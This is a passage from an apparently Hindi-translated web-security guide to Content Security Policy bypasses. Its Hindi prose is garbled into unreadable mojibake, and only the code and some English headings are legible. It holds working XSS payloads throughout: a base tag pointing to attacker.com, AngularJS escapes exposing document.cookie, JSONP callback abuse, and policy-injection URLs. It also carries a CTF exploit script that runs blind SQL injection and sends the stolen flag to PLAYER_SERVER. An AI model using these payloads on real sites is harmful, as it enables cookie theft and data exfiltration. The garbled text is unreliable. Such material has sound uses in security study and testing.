рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдкреГрд╖реНрда рдПрдХ рд╕рд╛рдкреЗрдХреНрд╖ рдкрде рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ (рдЬреИрд╕реЗ <script src="/js/app.js">) рдПрдХ Nonce рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЖрдк base tag рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рдЖрдкрдХреЗ рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░реЗ рдЬрд┐рд╕рд╕реЗ XSS рдкреНрд░рд╛рдкреНрдд рд╣реЛред
рдпрджрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдкреГрд╖реНрда httpS рдХреЗ рд╕рд╛рде рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдмреЗрд╕ рдореЗрдВ httpS URL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

html
<base href="https://www.attacker.com/" />

AngularJS рдШрдЯрдирд╛рдПрдБ

рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреАрддрд┐ рдЬрд┐рд╕реЗ рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP) рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, JavaScript рдШрдЯрдирд╛рдУрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИред рдлрд┐рд░ рднреА, AngularJS рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╕реНрдЯрдо рдШрдЯрдирд╛рдПрдБ рдкреЗрд╢ рдХрд░рддрд╛ рд╣реИред рдПрдХ рдШрдЯрдирд╛ рдХреЗ рднреАрддрд░, AngularJS рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдСрдмреНрдЬреЗрдХреНрдЯ $event рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдореВрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдШрдЯрдирд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕ $event рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ CSP рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, Chrome рдореЗрдВ, $event/event рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдПрдХ path рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдШрдЯрдирд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдСрдмреНрдЬреЗрдХреНрдЯреЛрдВ рдХреА рдПрдХ рд╕рд░рдгреА рд░рдЦрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ window рдСрдмреНрдЬреЗрдХреНрдЯ рд╣рдореЗрд╢рд╛ рдЕрдВрдд рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рд╕рдВрд░рдЪрдирд╛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдмрдЪрд╛рд╡ рд░рдгрдиреАрддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред

рдЗрд╕ рд╕рд░рдгреА рдХреЛ orderBy рдлрд╝рд┐рд▓реНрдЯрд░ рдХреА рдУрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдХреЗ, рдЗрд╕реЗ рдкреБрдирд░рд╛рд╡реГрддреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЕрдВрддрд┐рдо рддрддреНрд╡ ( window рдСрдмреНрдЬреЗрдХреНрдЯ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рдлрд╝рдВрдХреНрд╢рди рдЬреИрд╕реЗ alert() рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛ред рдиреАрдЪреЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрдкрд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

рдпрд╣ рд╕реНрдирд┐рдкреНрдкреЗрдЯ ng-focus рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╡реЗрдВрдЯ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, $event.path|orderBy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ path рдПрд░реЗ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ alert() рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП window рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ document.cookie рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред

рдЕрдиреНрдп Angular рдмрд╛рдпрдкрд╛рд╕ рдЦреЛрдЬреЗрдВ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS рдФрд░ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯреЗрдб рдбреЛрдореЗрди

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

рдПрдХ CSP рдиреАрддрд┐ рдЬреЛ Angular JS рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдХреЛ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд░рддреА рд╣реИ, рдХреЛ рдХреЙрд▓рдмреИрдХ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдФрд░ рдХреБрдЫ рдХрдордЬреЛрд░ рд╡рд░реНрдЧреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рддрдХрдиреАрдХ рдкрд░ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдПрдХ рд╡рд┐рд╕реНрддреГрдд рдЧрд╛рдЗрдб рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИ рдЬреЛ рдЗрд╕ git repository рдкрд░ рд╣реИред

рдХрд╛рд░реНрдпрд╢реАрд▓ рдкреЗрд▓реЛрдб:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script> ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script> <!-- no longer working --> <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

рдЕрдиреНрдп JSONP рдордирдорд╛рдиреА рдирд┐рд╖реНрдкрд╛рджрди рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдпрд╣рд╛рдБ рдорд┐рд▓ рд╕рдХрддреЗ рд╣реИрдВ (рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рд╣рдЯрд╛ рджрд┐рдП рдЧрдП рдпрд╛ рдареАрдХ рдХрд░ рджрд┐рдП рдЧрдП рд╣реИрдВ)

рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рдпрдкрд╛рд╕

рдЬрдм CSP рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рддрд╛ рд╣реИ рддреЛ рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ? рдпрджрд┐ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдПрдХ рдЕрд▓рдЧ рдореВрд▓ рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ рдЕрднреА рднреА рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, CSP рд╕реНрдкреЗрдХ 4.2.2.3. рдкрд╛рдереНрд╕ рдФрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдореЗрдВ рд╡рд░реНрдгрди рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдпрджрд┐ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдПрдХ рдЕрд▓рдЧ рдкрде рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдореВрд▓ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдпрд╣рд╛рдБ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ:

html
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" /> </head> <body> <div id="userContent"> <script src="https://https://www.google.com/test"></script> <script src="https://https://www.google.com/a/test"></script> <script src="http://localhost:5555/301"></script> </div> </body> </html>

рдпрджрд┐ CSP рдХреЛ https://www.google.com/a/b/c/d рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЪреВрдВрдХрд┐ рдкрде рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рджреЛрдиреЛрдВ /test рдФрд░ /a/test рд╕реНрдХреНрд░рд┐рдкреНрдЯ CSP рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рдХрд░ рджрд┐рдП рдЬрд╛рдПрдВрдЧреЗред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЕрдВрддрд┐рдо http://localhost:5555/301 рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЪреВрдВрдХрд┐ рдпрд╣ рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рд╣реИ, рдкрде рдкрд░ рд╡рд┐рдЪрд╛рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛, рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдкрде рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред

рдЗрд╕ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдХреЗ рд╕рд╛рде, рднрд▓реЗ рд╣реА рдкрде рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдпрд╣ рдЕрднреА рднреА рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЗрд╕рд▓рд┐рдП, рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╕рдорд╛рдзрд╛рди рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдореЗрдВ рдХреЛрдИ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рди рд╣реЛрдВ рдФрд░ CSP рдирд┐рдпрдореЛрдВ рдореЗрдВ рдХреЛрдИ рдРрд╕реЗ рдбреЛрдореЗрди рди рд╣реЛрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

рд▓рдЯрдХрддреЗ рдорд╛рд░реНрдХрдЕрдк рдХреЗ рд╕рд╛рде CSP рдмрд╛рдпрдкрд╛рд╕

рдпрд╣рд╛рдБ рдкрдврд╝реЗрдВред

'unsafe-inline'; img-src *; XSS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдХреЛрдб рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ рднреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ (XSS рдХреЛрдб рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ) рдФрд░ img-src * рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рд╡реЗрдмрдкреЗрдЬ рдкрд░ рдХрд┐рд╕реА рднреА рд╕рдВрд╕рд╛рдзрди рд╕реЗ рдХреЛрдИ рднреА рдЫрд╡рд┐ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдк рдЗрд╕ CSP рдХреЛ рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЗрд╕ рдЕрд╡рд╕рд░ рдкрд░ XSS рдПрдХ CSRF рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдПрдХ рдкреГрд╖реНрда рдЬреЛ рдмреЙрдЯ рджреНрд╡рд╛рд░рд╛ рд╕реБрд▓рдн рд╣реИ, рдПрдХ SQLi рд╣реИ, рдФрд░ рдПрдХ рдЫрд╡рд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдзреНрд╡рдЬ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ):

javascript
<script> fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_) </script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

рдЖрдк рдЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЫрд╡рд┐ рдХреЗ рдЕрдВрджрд░ рдбрд╛рд▓реЗ рдЧрдП рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреГрд╖реНрда рдЯреНрд╡рд┐рдЯрд░ рд╕реЗ рдЫрд╡рд┐рдпреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЖрдк рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЫрд╡рд┐ рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрд╕реЗ рдЯреНрд╡рд┐рдЯрд░ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ "unsafe-inline" рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ JS рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп XSS) рдЬреЛ рдЫрд╡рд┐ рдХреЛ рд▓реЛрдб рдХрд░реЗрдЧрд╛, рдЙрд╕рд╕реЗ JS рдХреЛ рдирд┐рдХрд╛рд▓реЗрдЧрд╛ рдФрд░ рдЙрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

With Service Workers

Service workers importScripts рдлрд╝рдВрдХреНрд╢рди CSP рджреНрд╡рд╛рд░рд╛ рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИ:

Abusing Service Workers

Policy Injection

рд╢реЛрдз: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

рдпрджрд┐ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЖрдкрдиреЗ рднреЗрдЬрд╛ рд╣реИ, рдиреАрддрд┐ рдХреЗ рдШреЛрд╖рдгрд╛ рдХреЗ рдЕрдВрджрд░ рдкреЗрд╕реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдиреАрддрд┐ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдмреЗрдХрд╛рд░ рд╣реЛ рдЬрд╛рдПред рдЖрдк рдЗрди рдмрд╛рдпрдкрд╛рд╕ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ 'unsafe-inline' рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ:

bash
script-src-elem *; script-src-attr * script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдирд┐рд░реНрджреЗрд╢ рдореМрдЬреВрджрд╛ script-src рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░реЗрдЧрд╛ред
рдЖрдк рдпрд╣рд╛рдБ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge рдореЗрдВ рдпрд╣ рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИред рдпрджрд┐ рдЖрдк CSP рдореЗрдВ рдХреЗрд╡рд▓ рдпрд╣ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ: ;_ Edge рдкреВрд░реА рдиреАрддрд┐ рдХреЛ рдЧрд┐рд░рд╛ рджреЗрдЧрд╛ред
рдЙрджрд╛рд╣рд░рдг: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; XSS (iframe) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ - рд╕рдордп рд╣рдорд▓рд╛

рдирд┐рд░реНрджреЗрд╢ 'unsafe-inline' рдХреА рдХрдореА рдкрд░ рдзреНрдпрд╛рди рджреЗрдВред
рдЗрд╕ рдмрд╛рд░ рдЖрдк рдкреАрдбрд╝рд┐рдд рдХреЛ XSS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрдкрдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рдПрдХ рдкреГрд╖реНрда рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдПрдХ <iframe рдХреЗ рд╕рд╛рдеред рдЗрд╕ рдмрд╛рд░ рдЖрдк рдкреАрдбрд╝рд┐рдд рдХреЛ рдЙрд╕ рдкреГрд╖реНрда рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдВрдЧреЗ рдЬрд╣рд╛рдБ рд╕реЗ рдЖрдк рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ (CSRF)ред рдЖрдк рдкреГрд╖реНрда рдХреА рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╕рдХрддреЗ, рд▓реЗрдХрд┐рди рдпрджрд┐ рдХрд┐рд╕реА рддрд░рд╣ рдЖрдк рдкреГрд╖реНрда рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд▓рдЧрдиреЗ рд╡рд╛рд▓реЗ рд╕рдордп рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред

рдЗрд╕ рдмрд╛рд░ рдПрдХ рдЭрдВрдбрд╛ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛, рдЬрдм рднреА рдПрдХ рдЪрд░ рд╕рд╣реА рдЕрдиреБрдорд╛рдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ SQLi рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЕрдзрд┐рдХ рд╕рдордп рд▓реЗрддреА рд╣реИ рдиреАрдВрдж рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдХрд╛рд░рдгред рдлрд┐рд░, рдЖрдк рдЭрдВрдбрд╛ рдирд┐рдХрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle --> <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload <script> let host = "http://x-oracle-v1.nn9ed.ka0labs.org" function gen(x) { x = escape(x.replace(/_/g, "\\_")) return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23` } function gen2(x) { x = escape(x) return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23` } async function query(word, end = false) { let h = performance.now() f.location = end ? gen2(word) : gen(word) await new Promise((r) => { g.onload = r }) let diff = performance.now() - h return diff > 300 } let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("") let postfix = "}" async function run() { let prefix = "nn9ed{" while (true) { let i = 0 for (i; i < alphabet.length; i++) { let c = alphabet[i] let t = await query(prefix + c) // Check what chars returns TRUE or FALSE console.log(prefix, c, t) if (t) { console.log("FOUND!") prefix += c break } } if (i == alphabet.length) { console.log("missing chars") break } let t = await query(prefix + "}", true) if (t) { prefix += "}" break } } new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag console.log(prefix) } run() </script>

Via Bookmarklets

рдпрд╣ рд╣рдорд▓рд╛ рдХреБрдЫ рд╕рд╛рдорд╛рдЬрд┐рдХ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдЧрд╛ рдЬрд╣рд╛рдБ рд╣рдорд▓рд╛рд╡рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдмреБрдХрдорд╛рд░реНрдХрд▓реЗрдЯ рдкрд░ рдПрдХ рд▓рд┐рдВрдХ рдЦреАрдВрдЪрдиреЗ рдФрд░ рдЫреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдордирд╛рддрд╛ рд╣реИред рдпрд╣ рдмреБрдХрдорд╛рд░реНрдХрд▓реЗрдЯ рджреБрд╖реНрдЯ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЦреАрдВрдЪрдиреЗ рдФрд░ рдЫреЛрдбрд╝рдиреЗ рдпрд╛ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░ рд╡рд░реНрддрдорд╛рди рд╡реЗрдм рд╡рд┐рдВрдбреЛ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛, CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ рдХрд┐ рдХреБрдХреАрдЬрд╝ рдпрд╛ рдЯреЛрдХрди рдЪреБрд░рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рдореВрд▓ рд░рд┐рдкреЛрд░реНрдЯ рджреЗрдЦреЗрдВред

CSP bypass by restricting CSP

рдЗрд╕ CTF рд▓реЗрдЦрди рдореЗрдВ, CSP рдХреЛ рдПрдХ рдЕрдиреБрдордд iframe рдХреЗ рдЕрдВрджрд░ рдПрдХ рдЕрдзрд┐рдХ рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ CSP рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ JS рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдлрд┐рд░, рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рдпрд╛ DOM рдХреНрд▓реЙрдмрд░рд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдЕрд▓рдЧ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдордирдорд╛рдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреА 